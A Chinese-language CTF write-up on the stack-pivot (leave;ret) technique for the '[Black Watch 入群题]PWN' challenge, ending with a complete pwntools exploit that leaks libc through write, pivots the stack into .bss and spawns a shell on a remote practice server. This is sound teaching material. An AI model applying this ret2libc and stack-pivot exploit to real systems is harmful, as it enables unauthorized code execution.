栈迁移原理([Black Watch 入群题]PWN)
栈迁移原理
leave <==> mov esp,ebp ; pop ebp;
ret <==> pop eip;
将存储当前栈底地址的寄存器epb的值赋值给esp 然后将栈内栈顶的数值赋值给ebp,
再将下一个数值赋值给eip
俺们是如何利用的呢?
最常用的方式就是去puse压栈,改变栈顶和栈顶-1的内容去改变ebp寄存器,也就是迁移栈底。
栈迁移的原理如上,而栈迁移的目的,我个人觉得其中一种用法就是因为 在pwn题目中 可以进行溢出的大小有限 并不能够满足注入shellcode的需求
并且在该题中 存在多次输入的可能,所以 当exp在第一次输入中注入shellcode之后,在第二次输入,直接进行leave|ret 将栈都迁移到ebp寄存器中所指定的地址,因为leave|ret 相当于
执行了 mov esp,ebp;pop ebp;pop eip;
参考资料
[Black Watch 入群题]PWN
所以解题思路是 通过第一次read 将shellcode输入到bss段内 然后通过第二次输入使用栈迁移 进而执行shellcode即可
但程序中并不存在sh和system 因而利用方法可以总结为 retlibc+栈迁移
先使用retlibc的方式拿到sh和system地址 然后构造shellcode并进行注入 然后栈迁移执行即可
exp
from pwn import *
from LibcSearcher import *
context.log_level="debug"
elf=ELF("./spwn")
#p=process("spwn")
p=remote("node4.buuoj.cn",27879)
write_plt=elf.plt['write']
write_got=elf.got['write']
main=0x8048513
s=0x804a300
leave_ret=0x08048408
payload=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("What is your name?")
p.send(payload)
payload1='a'*0x18+p32(s-4)+p32(leave_ret)
p.recvuntil("What do you want to say?")
p.send(payload1)
write_addr=u32(p.recv(4))
print(hex(write_addr))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
sh=libc_base+libc.dump('str_bin_sh')
payload_sh=p32(system)+p32(0)+p32(sh)
p.recvuntil("What is your name?")
p.sendline(payload_sh)
p.recvuntil("What do you want to say?")
p.sendline(payload1)
p.interactive()
该题栈迁移可参考文章:
https://blog.csdn.net/mcmuyanga/article/details/109260008